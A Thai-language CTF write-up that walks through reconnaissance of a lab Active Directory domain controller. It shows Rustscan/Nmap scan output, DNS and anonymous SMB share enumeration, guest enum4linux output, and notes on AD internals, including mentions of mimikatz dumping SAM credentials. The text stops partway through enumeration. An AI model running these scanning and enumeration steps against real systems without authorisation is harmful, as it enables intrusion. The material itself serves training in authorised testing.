สวัสดีครับทุกคน สำหรับในบล็อคนี้ผมก็จะมาเขียน Write-up ในอีเว้นของ DropCTF ที่จัดขึ้นสำหรับงาน RED X BLUE PILL 2024 ที่ผ่านมาครับ ซึ่งทาง DropCTF เนี่ยจะแจกรางวัลใหญ่เป็น Flipper Zero สำหรับผู้ที่ Submit Flag ได้ First Blood🩸 ครับ
แต่เอาจริงๆ ผมทำได้เป็นลำดับที่สอง ซึ่งทางทีมงานมี Flipper Zero อยู่อีกเครื่องผมเลยได้มาเช่นกันครับ 😻
IMPORTANT
- AD = Active Directory
- DC = Domain Controller
- AD DS = Active Directory Domain Services
- AS-REQ = Authentication Service Request
- AS-REP = Authentication Service Response
- TGS = Ticket Granting Service
- TGT = Ticket-Granting-Ticket
- ST = Service-Ticket
- NTLM = New Technology LAN Manager
Description
INTERNAL AFFAIR
หากสามารถ submit flag ได้แล้วสามารถส่ง username ที่ submit ได้คนแรกเข้ามาทางเพจ https://facebook.com/p3rmis ได้เลยครับ
TARGET IP : 10.52.0.203
สำหรับขั้นตอนการทำสอบเจาะระบบเช่นเคยผมจะอ้างอิงจาก Penetration Testing State ครับ
Planning & Reconnaissance
ขั้นตอนแรกเราจะต้องเชื่อม VPN ของโจทย์ก่อน และเป้าหมายของเราก็คือ
TARGET IP : 10.52.0.203
Scanning
สำหรับขั้นตอนนี้เราจะกระทำการสแกนหา Port และ Service ของเป้าหมายที่กำลังเปิดให้บริการอยู่ เพื่อที่เราจะได้หาช่องทางที่เราจะสามารถกระทำการ Exploit เข้าไปในระบบได้ครับ
สำหรับผมแล้วเอาจริงๆ ผมจะมีอยู่ 2 เครื่องมือ โดยปกติก็คือ Nmap ส่วนอีกเครื่องมือนึงก็คือ Rustscan ซึ่งจากประสบการณ์ในการเล่น CTF ผมมักจะใช้ Rustscan เพราะว่ามันไวดี แต่ถ้าลองไปศึกษาในเชิงลึกของเครื่องมือ Rustscan ก็ใช้ Nmap Script เช่นเดียวกันนี้แหละครับ แต่บางที่การที่เราส่ง Packets ไปจำนวนมากก็อาจจะทำให้มันพลาดข้อมูลบาง Port ไปเนื่องจากที่เรากระหนำสแกนไปเยอะครับ หรือ ถ้าระบบที่มี IDS/IPS ก็อาจจะเป็นไปได้ที่ระบบตรวจจับนั่น Block Process ที่เรากำลังสแกนนั้นได้ครับ ดังนั้น Nmap ก็คือว่าเป็นเครื่องมือที่ดีสำหรับกรณีที่เราอยากจะได้ข้อมูลที่แม่นยำและครบถ้วนสมบูรณ์นั้นเองครับ เรียกได้ว่า Back to Basic นั่นเองครับ
แต่สำหรับโจทย์ CTF ผมก็จะใช้ Rustscan นี้แหละครับ555 เพราะเราคำนึงถึงแค่ต้องการที่จะ Exploit ระบบเพื่อให้ได้ Flag ไม่สนใจว่าระบบจะถูกกระทบมากน้อยแค่ไหน
Rustscan
rustscan --ulimit 500000 -a 10.52.0.203 -- -A
Rustscan result
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
TCP handshake? More like a friendly high-five!
[~] The config file is expected to be at "/home/kali/.rustscan.toml"
[~] Automatically increasing ulimit value to 500000.
Open 10.52.0.203:53
Open 10.52.0.203:80
Open 10.52.0.203:88
Open 10.52.0.203:135
Open 10.52.0.203:139
Open 10.52.0.203:389
Open 10.52.0.203:445
Open 10.52.0.203:464
Open 10.52.0.203:593
Open 10.52.0.203:5985
Open 10.52.0.203:9389
Open 10.52.0.203:5466
Open 10.52.0.203:47001
Open 10.52.0.203:49664
Open 10.52.0.203:49665
Open 10.52.0.203:49666
Open 10.52.0.203:49668
Open 10.52.0.203:49669
Open 10.52.0.203:49670
Open 10.52.0.203:49671
Open 10.52.0.203:49672
Open 10.52.0.203:49675
Open 10.52.0.203:49692
Open 10.52.0.203:49698
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} {{ip}} -A" on ip 10.52.0.203
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-01 12:35 EST
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 12:35
Completed NSE at 12:35, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 12:35
Completed NSE at 12:35, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 12:35
Completed NSE at 12:35, 0.00s elapsed
Initiating Ping Scan at 12:35
Scanning 10.52.0.203 [4 ports]
Completed Ping Scan at 12:35, 0.03s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 12:35
Scanning dropctf.prms (10.52.0.203) [24 ports]
Discovered open port 445/tcp on 10.52.0.203
Discovered open port 135/tcp on 10.52.0.203
Discovered open port 53/tcp on 10.52.0.203
Discovered open port 80/tcp on 10.52.0.203
Discovered open port 139/tcp on 10.52.0.203
Discovered open port 49692/tcp on 10.52.0.203
Discovered open port 49664/tcp on 10.52.0.203
Discovered open port 49668/tcp on 10.52.0.203
Discovered open port 49671/tcp on 10.52.0.203
Discovered open port 389/tcp on 10.52.0.203
Discovered open port 49698/tcp on 10.52.0.203
Discovered open port 49670/tcp on 10.52.0.203
Discovered open port 5466/tcp on 10.52.0.203
Discovered open port 593/tcp on 10.52.0.203
Discovered open port 464/tcp on 10.52.0.203
Discovered open port 49665/tcp on 10.52.0.203
Discovered open port 47001/tcp on 10.52.0.203
Discovered open port 5985/tcp on 10.52.0.203
Discovered open port 88/tcp on 10.52.0.203
Discovered open port 9389/tcp on 10.52.0.203
Discovered open port 49666/tcp on 10.52.0.203
Discovered open port 49675/tcp on 10.52.0.203
Discovered open port 49672/tcp on 10.52.0.203
Discovered open port 49669/tcp on 10.52.0.203
Completed SYN Stealth Scan at 12:35, 0.09s elapsed (24 total ports)
Initiating Service scan at 12:35
Scanning 24 services on dropctf.prms (10.52.0.203)
Service scan Timing: About 58.33% done; ETC: 12:36 (0:00:39 remaining)
Completed Service scan at 12:37, 125.41s elapsed (24 services on 1 host)
Initiating OS detection (try #1) against dropctf.prms (10.52.0.203)
Retrying OS detection (try #2) against dropctf.prms (10.52.0.203)
Initiating Traceroute at 12:37
Completed Traceroute at 12:37, 0.02s elapsed
Initiating Parallel DNS resolution of 2 hosts. at 12:37
Completed Parallel DNS resolution of 2 hosts. at 12:37, 0.01s elapsed
DNS resolution of 2 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 2, DR: 0, SF: 0, TR: 2, CN: 0]
NSE: Script scanning 10.52.0.203.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 12:37
Completed NSE at 12:37, 14.50s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 12:37
Completed NSE at 12:37, 1.10s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 12:37
Completed NSE at 12:37, 0.00s elapsed
Nmap scan report for dropctf.prms (10.52.0.203)
Host is up, received echo-reply ttl 125 (0.011s latency).
Scanned at 2024-12-01 12:35:09 EST for 145s
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack ttl 125 Simple DNS Plus
80/tcp open http syn-ack ttl 125 Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
88/tcp open kerberos-sec syn-ack ttl 125 Microsoft Windows Kerberos (server time: 2024-12-02 05:35:09Z)
135/tcp open msrpc syn-ack ttl 125 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 125 Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack ttl 125 Microsoft Windows Active Directory LDAP (Domain: dropctf.prms0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds syn-ack ttl 125 Windows Server 2019 Standard 17763 microsoft-ds (workgroup: DROPCTF)
464/tcp open kpasswd5? syn-ack ttl 125
593/tcp open ncacn_http syn-ack ttl 125 Microsoft Windows RPC over HTTP 1.0
5466/tcp open unknown syn-ack ttl 125
| fingerprint-strings:
| GenericLines, GetRequest, HTTPOptions, RTSPRequest:
| HTTP/1.0 200 HTTP OK
| Server: Wing FTP Server(UNREGISTERED)
| Cache-Control: private
| Content-Type: text/html
| Content-Length: 338
| Connection: close
| <meta http-equiv='Content-Type' content='text/html; charset=utf-8'><script>top.location='admin_login.html';</script>
|_ <noscript><center><H2>The administration interface requires that you have Javascript enabled on your browser. <br>If you're not sure how to do this, <a href='help_javascript.htm'>click here.</a> </H2></center></noscript>
5985/tcp open http syn-ack ttl 125 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf syn-ack ttl 125 .NET Message Framing
47001/tcp open http syn-ack ttl 125 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open msrpc syn-ack ttl 125 Microsoft Windows RPC
49665/tcp open msrpc syn-ack ttl 125 Microsoft Windows RPC
49666/tcp open msrpc syn-ack ttl 125 Microsoft Windows RPC
49668/tcp open ncacn_http syn-ack ttl 125 Microsoft Windows RPC over HTTP 1.0
49669/tcp open msrpc syn-ack ttl 125 Microsoft Windows RPC
49670/tcp open msrpc syn-ack ttl 125 Microsoft Windows RPC
49671/tcp open msrpc syn-ack ttl 125 Microsoft Windows RPC
49672/tcp open msrpc syn-ack ttl 125 Microsoft Windows RPC
49675/tcp open msrpc syn-ack ttl 125 Microsoft Windows RPC
49692/tcp open msrpc syn-ack ttl 125 Microsoft Windows RPC
49698/tcp open msrpc syn-ack ttl 125 Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port5466-TCP:V=7.94SVN%I=7%D=12/1%Time=674C9E53%P=x86_64-pc-linux-gnu%r
SF:(GenericLines,1EA,"HTTP/1\.0\x20200\x20HTTP\x20OK\r\nServer:\x20Wing\x2
SF:0FTP\x20Server\(UNREGISTERED\)\r\nCache-Control:\x20private\r\nContent-
SF:Type:\x20text/html\r\nContent-Length:\x20338\r\nConnection:\x20close\r\
SF:n\r\n<meta\x20http-equiv='Content-Type'\x20content='text/html;\x20chars
SF:et=utf-8'><script>top\.location='admin_login\.html';</script>\n\n<noscr
SF:ipt><center><H2>The\x20administration\x20interface\x20requires\x20that\
SF:x20you\x20have\x20Javascript\x20enabled\x20on\x20your\x20browser\.\x20<
SF:br>If\x20you're\x20not\x20sure\x20how\x20to\x20do\x20this,\x20<a\x20hre
SF:f='help_javascript\.htm'>click\x20here\.</a>\x20</H2></center></noscrip
SF:t>")%r(GetRequest,1EA,"HTTP/1\.0\x20200\x20HTTP\x20OK\r\nServer:\x20Win
SF:g\x20FTP\x20Server\(UNREGISTERED\)\r\nCache-Control:\x20private\r\nCont
SF:ent-Type:\x20text/html\r\nContent-Length:\x20338\r\nConnection:\x20clos
SF:e\r\n\r\n<meta\x20http-equiv='Content-Type'\x20content='text/html;\x20c
SF:harset=utf-8'><script>top\.location='admin_login\.html';</script>\n\n<n
SF:oscript><center><H2>The\x20administration\x20interface\x20requires\x20t
SF:hat\x20you\x20have\x20Javascript\x20enabled\x20on\x20your\x20browser\.\
SF:x20<br>If\x20you're\x20not\x20sure\x20how\x20to\x20do\x20this,\x20<a\x2
SF:0href='help_javascript\.htm'>click\x20here\.</a>\x20</H2></center></nos
SF:cript>")%r(HTTPOptions,1EA,"HTTP/1\.0\x20200\x20HTTP\x20OK\r\nServer:\x
SF:20Wing\x20FTP\x20Server\(UNREGISTERED\)\r\nCache-Control:\x20private\r\
SF:nContent-Type:\x20text/html\r\nContent-Length:\x20338\r\nConnection:\x2
SF:0close\r\n\r\n<meta\x20http-equiv='Content-Type'\x20content='text/html;
SF:\x20charset=utf-8'><script>top\.location='admin_login\.html';</script>\
SF:n\n<noscript><center><H2>The\x20administration\x20interface\x20requires
SF:\x20that\x20you\x20have\x20Javascript\x20enabled\x20on\x20your\x20brows
SF:er\.\x20<br>If\x20you're\x20not\x20sure\x20how\x20to\x20do\x20this,\x20
SF:<a\x20href='help_javascript\.htm'>click\x20here\.</a>\x20</H2></center>
SF:</noscript>")%r(RTSPRequest,1EA,"HTTP/1\.0\x20200\x20HTTP\x20OK\r\nServ
SF:er:\x20Wing\x20FTP\x20Server\(UNREGISTERED\)\r\nCache-Control:\x20priva
SF:te\r\nContent-Type:\x20text/html\r\nContent-Length:\x20338\r\nConnectio
SF:n:\x20close\r\n\r\n<meta\x20http-equiv='Content-Type'\x20content='text/
SF:html;\x20charset=utf-8'><script>top\.location='admin_login\.html';</scr
SF:ipt>\n\n<noscript><center><H2>The\x20administration\x20interface\x20req
SF:uires\x20that\x20you\x20have\x20Javascript\x20enabled\x20on\x20your\x20
SF:browser\.\x20<br>If\x20you're\x20not\x20sure\x20how\x20to\x20do\x20this
SF:,\x20<a\x20href='help_javascript\.htm'>click\x20here\.</a>\x20</H2></ce
SF:nter></noscript>");
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|WAP
Running (JUST GUESSING): Microsoft Windows 2019|2012|2022|10|2016|XP|7 (93%), Asus embedded (87%), Linux 3.X (87%)
OS CPE: cpe:/o:microsoft:windows_server_2012:r2 cpe:/o:microsoft:windows_10 cpe:/o:microsoft:windows_server_2016 cpe:/h:asus:rt-n56u cpe:/o:linux:linux_kernel:3.4 cpe:/o:linux:linux_kernel:3.16 cpe:/o:microsoft:windows_xp::sp3 cpe:/o:microsoft:windows_7
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
Aggressive OS guesses: Microsoft Windows Server 2019 (93%), Microsoft Windows Server 2012 R2 (89%), Microsoft Windows Server 2022 (89%), Microsoft Windows 10 1909 (89%), Microsoft Windows Server 2016 (88%), Microsoft Windows Server 2012 Data Center (87%), ASUS RT-N56U WAP (Linux 3.4) (87%), Linux 3.16 (87%), Microsoft Windows XP SP3 (85%), Microsoft Windows 7 SP1 or Windows Server 2008 (85%)
No exact OS matches for host (test conditions non-ideal).
TCP/IP fingerprint:
SCAN(V=7.94SVN%E=4%D=12/1%OT=53%CT=%CU=40256%PV=Y%DS=3%DC=T%G=N%TM=674C9EDE%P=x86_64-pc-linux-gnu)
SEQ(SP=102%GCD=1%ISR=10C%TI=I%CI=I%TS=U)
OPS(O1=M506NW8NNS%O2=M506NW8NNS%O3=M506NW8%O4=M506NW8NNS%O5=M506NW8NNS%O6=M506NNS)
WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FF70)
ECN(R=Y%DF=Y%T=80%W=FFFF%O=M506NW8NNS%CC=Y%Q=)
T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0%Q=)
T2(R=N)
T3(R=N)
T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)
T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)
T6(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)
U1(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)
IE(R=N)
Network Distance: 3 hops
TCP Sequence Prediction: Difficulty=258 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| nbstat: NetBIOS name: DC01, NetBIOS user: <unknown>, NetBIOS MAC: 72:c9:4d:be:bf:34 (unknown)
| Names:
| DC01<20> Flags: <unique><active>
| DC01<00> Flags: <unique><active>
| DROPCTF<00> Flags: <group><active>
| DROPCTF<1c> Flags: <group><active>
| DROPCTF<1e> Flags: <group><active>
| DROPCTF<1d> Flags: <unique><active>
| \x01\x02__MSBROWSE__\x02<01> Flags: <group><active>
| DROPCTF<1b> Flags: <unique><active>
| Statistics:
| 72:c9:4d:be:bf:34:00:00:00:00:00:00:00:00:00:00:00
| 00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
|_ 00:00:00:00:00:00:00:00:00:00:00:00:00:00
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 28036/tcp): CLEAN (Couldn't connect)
| Check 2 (port 33325/tcp): CLEAN (Couldn't connect)
| Check 3 (port 62498/udp): CLEAN (Timeout)
| Check 4 (port 58824/udp): CLEAN (Failed to receive data)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: mean: 9h39m53s, deviation: 4h02m28s, median: 11h59m52s
| smb-os-discovery:
| OS: Windows Server 2019 Standard 17763 (Windows Server 2019 Standard 6.3)
| Computer name: DC01
| NetBIOS computer name: DC01\x00
| Domain name: dropctf.prms
| Forest name: dropctf.prms
| FQDN: DC01.dropctf.prms
|_ System time: 2024-12-02T12:37:13+07:00
| smb2-time:
| date: 2024-12-02T05:37:13
|_ start_date: N/A
TRACEROUTE (using port 445/tcp)
HOP RTT ADDRESS
1 17.91 ms 10.240.0.1
2 17.84 ms 192.168.1.118
3 17.79 ms dropctf.prms (10.52.0.203)
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 12:37
Completed NSE at 12:37, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 12:37
Completed NSE at 12:37, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 12:37
Completed NSE at 12:37, 0.00s elapsed
Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrec at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 145.49 seconds
Raw packets sent: 94 (6.452KB) | Rcvd: 57 (3.540KB)
ซึ่งจากการวิเคราะห์แล้ว Port และ Service ที่กำลังเปิดให้บริการนั่นคือ AD หรือ Active Directory นั่นเอง ซึ่งเครื่องที่เรากำลังสแกนนั่นคือเครื่อง DC หรือเครื่องที่เป็น Domain Controller นั่นเองครับ โดย Port ที่เป็น Key สำคัญนั่นคือ
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack ttl 125 Simple DNS Plus
88/tcp open kerberos-sec syn-ack ttl 125 Microsoft Windows Kerberos (server time: 2024-12-02 05:35:09Z)
135/tcp open msrpc syn-ack ttl 125 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 125 Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack ttl 125 Microsoft Windows Active Directory LDAP (Domain: dropctf.prms0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds syn-ack ttl 125 Windows Server 2019 Standard 17763 microsoft-ds (workgroup: DROPCTF)
Host script results:
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
| smb-os-discovery:
| OS: Windows Server 2019 Standard 17763 (Windows Server 2019 Standard 6.3)
| Computer name: DC01
| NetBIOS computer name: DC01\x00
| Domain name: dropctf.prms
| Forest name: dropctf.prms
| FQDN: DC01.dropctf.prms
ที่นี้เดียวผมจะมาอธิบายในส่วนของการทำงานของ Basic Active Directory ให้เข้าใจแบบคร่าวๆ จะครับ
Basic Active Directory
โดยผมขออ้างอิงจาก Note ของพี่ Pichaya Morimoto จากงานอีเว้น HackTheBox Thailand Meetup ในหัวข้อ Windows Domain Offensive Security 101 ครับ
Active Directory (AD)
HTB TH - Meetup : Windows Domain Offensive Security 101 by Pichaya Morimoto
โดยแผนภาพจะเป็นการจำลองระบบ Active Directory (AD) ครับ ซึ่งถ้าว่ากันด้วยเรื่องของบริบทของ IT Security ในองค์กรนึง ก็จะต้องทำการดูแลคอมพิวเตอร์หลายๆ เครื่องในองค์กรดังนั้นคงจะเป็นอะไรที่ยุ่งยากถ้าจะต้องเดินเข้าไป Config เครื่องคอมพิวเตอร์ทีละเครื่อง ดังนั้นบริษัท Microsoft จึงมีการพัฒนา Service ที่เรียกว่า Active Directory (AD) ขึ้นมาเพื่อแก้ไขปัญหานี้ เพื่อใช้ในการจัดการโครงสร้างระบบผู้ใช้และความปลอดภัยของ Windows Server นั่นเองครับ
Domain Controller (DC)
จากแผนภาพจะเห็นได้ว่า จะมีเครื่อง Windows Server เป็นศูนย์กลางในการควบคุมการให้บริการ AD โดยเราจะเรียกว่า Domain Controller (DC) ครับ ในส่วนนี้เราจะเรียก Role หรือบทบาทว่า Active Directory Domain Services (AD DS) เปรียบเสมือนผู้ดูแลระบบ หรือ Administrator นั่นแหละครับ ซึ่งก็จะทำให้ผู้ดูแลระบบสามารถกำหนดสิทธิ์การเข้าถึงทรัพยากรได้อย่างแม่นยำครับ และอีกหน้าที่นึงก็คือ เก็บรักษา Active Directory database ครับ โดยในการที่เครื่องอื่นๆ ในระบบ AD ก็จะต้องลงทะเบียนเพื่อเข้าใช้งานทรัพยากรในโดเมนนั้นๆ ได้ครับ
Actice Directory Data Store
ในการจัดเก็บข้อมูลของ AD หรือ Actice Directory Data Store ก็จะมีการเก็บไว้ในไฟล์ที่ชื่อว่า NTDS.DIT ย่อมาจาก New Technology Directory Services Directory Information Tree ซึ่งจะ Dot (.) ด้วยนามสกุลไฟล์ว่า .DIT ย่อมาจาก Directory information tree ซึ่งหมายความว่าไฟล์จะจัดเก็บข้อมูลไดเร็กทอรีเป็นลำดับชั้น
โดยภาพรวมแล้วไฟล์ NTDS.DIT เราอาจจะเรียกได้ว่าเป็น backbone ของ AD เนื่องจากที่เป็นแหล่งเก็บข้อมูลที่สำคัญๆ เช่น พาสเวิร์ดของผู้ใช้งาน กลุ่มผู้ใช้งาน
ตัวอย่างโครงสร้าง DIT
dc=example, dc=com (Root Domain)
├── ou=Users (Organizational Unit)
│ ├── cn=John Doe (Common Name for a user)
│ └── cn=Jane Smith (Another user)
└── ou=Groups (Another Organizational Unit)
├── cn=AdminGroup (Group Name)
└── cn=StaffGroup (Another Group)
ซึ่งในการกระทำของผู้โจมตีระบบก็อาจจะต้องเข้าถึงระบบเครือข่ายที่มีการให้บริการ AD แล้วกระทำการ MitM (Man-in-the-Middle) เพื่อดักข้อมูลในการรับส่งข้อมูลระหว่างเครื่อง DC และ Computer ผู้ใช้งานที่กำลังร้องขอการให้บริการนั่นๆ
HTB TH - Meetup : Windows Domain Offensive Security 101 by Pichaya Morimoto
NOTEโดยปกติแล้ว เครื่องคอมพิวเตอร์ทั่วไปก็จะเก็บ credential ไว้ในไฟล์ที่ชื่อว่า SAM ในเครื่องครับ ซึ่งถ้าเป็นผู้โจมตีแล้วสามารถเข้าถึงเครื่องผู้ใช้ทั่วไปได้ก็อาจจะใช้เครื่องมือที่เรื่องว่า mimikatz เพื่อใช้ในการดึงข้อมูลจาก SAM ออกมานั่นเอง
Port 53/tcp
หลังจากสแกน Nmap เรียบร้อยแล้ว ผมจะมาเริ่ม Enumeration Port 53 ก่อนเพื่อที่เราจะได้ เช็คว่า Domain name และ Forest name สามารถ resolve ไปที่ DNS server ได้หรือไม่ครับ ซึ่งรายละเอียดจากข้อมูลของ Rustscan นั่นคือ
| NetBIOS computer name: DC01\x00
| Domain name: dropctf.prms
| Forest name: dropctf.prms
นั่นก็คือ ชื่อ Domain name และ Forest name นั่นเอง
NOTEDomain Forest คือ โครงสร้างของโดเมน (Domain) ที่เกิดจากการรวมกันของ Domain Tree ตั้งแต่สองโดเมน (Domain) ขึ้นไป
Domain Forest: ├── Domain Tree 1: company.com │ ├── sales.company.com │ └── hr.company.com └── Domain Tree 2: example.com └── dev.example.com Objects: - User: John Doe (Attributes: Username, Password) - Computer: PC-1234 (Attributes: OS, Serial Number)
Dig
dig @10.52.0.203 dropctf.prms
Dig result
;; communications error to 10.52.0.203#53: timed out
; <<>> DiG 9.20.2-1-Debian <<>> @10.52.0.203 dropctf.prms
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: SERVFAIL, id: 43411
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4000
;; QUESTION SECTION:
;dropctf.prms. IN A
;; Query time: 3748 msec
;; SERVER: 10.52.0.203#53(10.52.0.203) (UDP)
;; WHEN: Sat Nov 30 22:28:07 EST 2024
;; MSG SIZE rcvd: 41
โอเค resolve ได้ปกติครับ
NOTEDNS Server จะมีส่วนประกอบที่เรียกว่า Name Resolvers มีหน้าที่หลักในการแปลงชื่อคอมพิวเตอร์ ให้เป็นหมายเลข IP เครื่องลูกข่ายที่ต้องการทราบหมายเลข IP หรือเรียกว่า resolver
Port 445/tcp
ต่อมาผมจะเริ่ม Enumeration ข้อมูลที่น่าจะเป็นไปได้ครับ ว่าอาจจะมีอะไร Hint ตาม Share Folder ต่างๆครับ
SMB Client
smbclient -N -L //10.52.0.203
SMB Client result
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
Welcome Disk
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.52.0.203 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
SMB Client - Welcome
smbclient //10.52.0.203/Welcome
SMB Client - Welcome result
Password for [WORKGROUP\kali]:
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Mon Nov 18 09:46:26 2024
.. D 0 Mon Nov 18 09:46:26 2024
Welcome.txt A 201 Thu Nov 28 14:33:26 2024
15570943 blocks of size 4096. 12249814 blocks available
smb: \> get Welcome.txt
getting file \Welcome.txt of size 201 as Welcome.txt (4.3 KiloBytes/sec) (average 4.3 KiloBytes/sec)
smb: \> exit
Welcome.txt
❯ cat Welcome.txt
Welcome to the Exclusive DropCTF Lab!
If you can playing this lab that's mean you might be at 2600 Thailand RED X BLUE Pill 2024 for sure, Thank you for joing us today!
You Think you can handle it?
ไม่มีข้อมูลอะไรน่าสนใจ แค่ประโยคคำกล่าวต้อนรับ เฉยๆ ไปกันต่อออ
ต่อมาผมจะใช้เครื่องมือนี้ ในการ Enumeration ข้อมูลของ Service Samba ทีเดียว โดยใช้ User : guest
ครับ เนื่องจากเราได้ข้อมูลที่น่าสนใจจาก Rustscan นั่นคือ
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
Enum4linux
enum4linux -u guest -a 10.52.0.203
Enum4linux result
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Sun Dec 1 01:12:01 2024
=========================================( Target Information )=========================================
Target ........... 10.52.0.203
RID Range ........ 500-550,1000-1050
Username ......... 'guest'
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
============================( Enumerating Workgroup/Domain on 10.52.0.203 )============================
[E] Can't find workgroup/domain
================================( Nbtstat Information for 10.52.0.203 )================================
Looking up status of 10.52.0.203
No reply from 10.52.0.203
====================================( Session Check on 10.52.0.203 )====================================
[+] Server 10.52.0.203 allows sessions using username 'guest', password ''
=================================( Getting domain SID for 10.52.0.203 )=================================
Domain Name: DROPCTF
Domain Sid: S-1-5-21-275569690-336870657-3440180796
[+] Host is part of a domain (not a workgroup)
===================================( OS information on 10.52.0.203 )===================================
[E] Can't get OS info with smbclient
[+] Got OS info for 10.52.0.203 from srvinfo:
10.52.0.203 Wk Sv PDC Tim NT LMB
platform_id : 500
os version : 10.0
server type : 0x84102b
========================================( Users on 10.52.0.203 )========================================
[E] Couldn't find users using querydispinfo: NT_STATUS_ACCESS_DENIED
[E] Couldn't find users using enumdomusers: NT_STATUS_ACCESS_DENIED
==================================( Share Enumeration on 10.52.0.203 )==================================
do_connect: Connection to 10.52.0.203 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
Welcome Disk
Reconnecting with SMB1 for workgroup listing.
Unable to connect with SMB1 -- no workgroup available
[+] Attempting to map shares on 10.52.0.203
//10.52.0.203/ADMIN$ Mapping: DENIED Listing: N/A Writing: N/A
//10.52.0.203/C$ Mapping: DENIED Listing: N/A Writing: N/A
[E] Can't understand response:
NT_STATUS_NO_SUCH_FILE listing \*
//10.52.0.203/IPC$ Mapping: N/A Listing: N/A Writing: N/A
//10.52.0.203/NETLOGON Mapping: OK Listing: DENIED Writing: N/A
//10.52.0.203/SYSVOL Mapping: OK Listing: DENIED Writing: N/A
//10.52.0.203/Welcome Mapping: OK Listing: OK Writing: N/A
============================( Password Policy Information for 10.52.0.203 )============================
[E] Unexpected error from polenum:
[+] Attaching to 10.52.0.203 using guest
[+] Trying protocol 139/SMB...
[!] Protocol failed: Cannot request session (Called Name:10.52.0.203)
[+] Trying protocol 445/SMB...
[!] Protocol failed: SAMR SessionError: code: 0xc0000022 - STATUS_ACCESS_DENIED - {Access Denied} A process has requested access to an object but has not been granted those access rights.
[E] Failed to get password policy with rpcclient
=======================================( Groups on 10.52.0.203 )=======================================
[+] Getting builtin groups:
[+] Getting builtin group memberships:
[+] Getting local groups:
[+] Getting local group memberships:
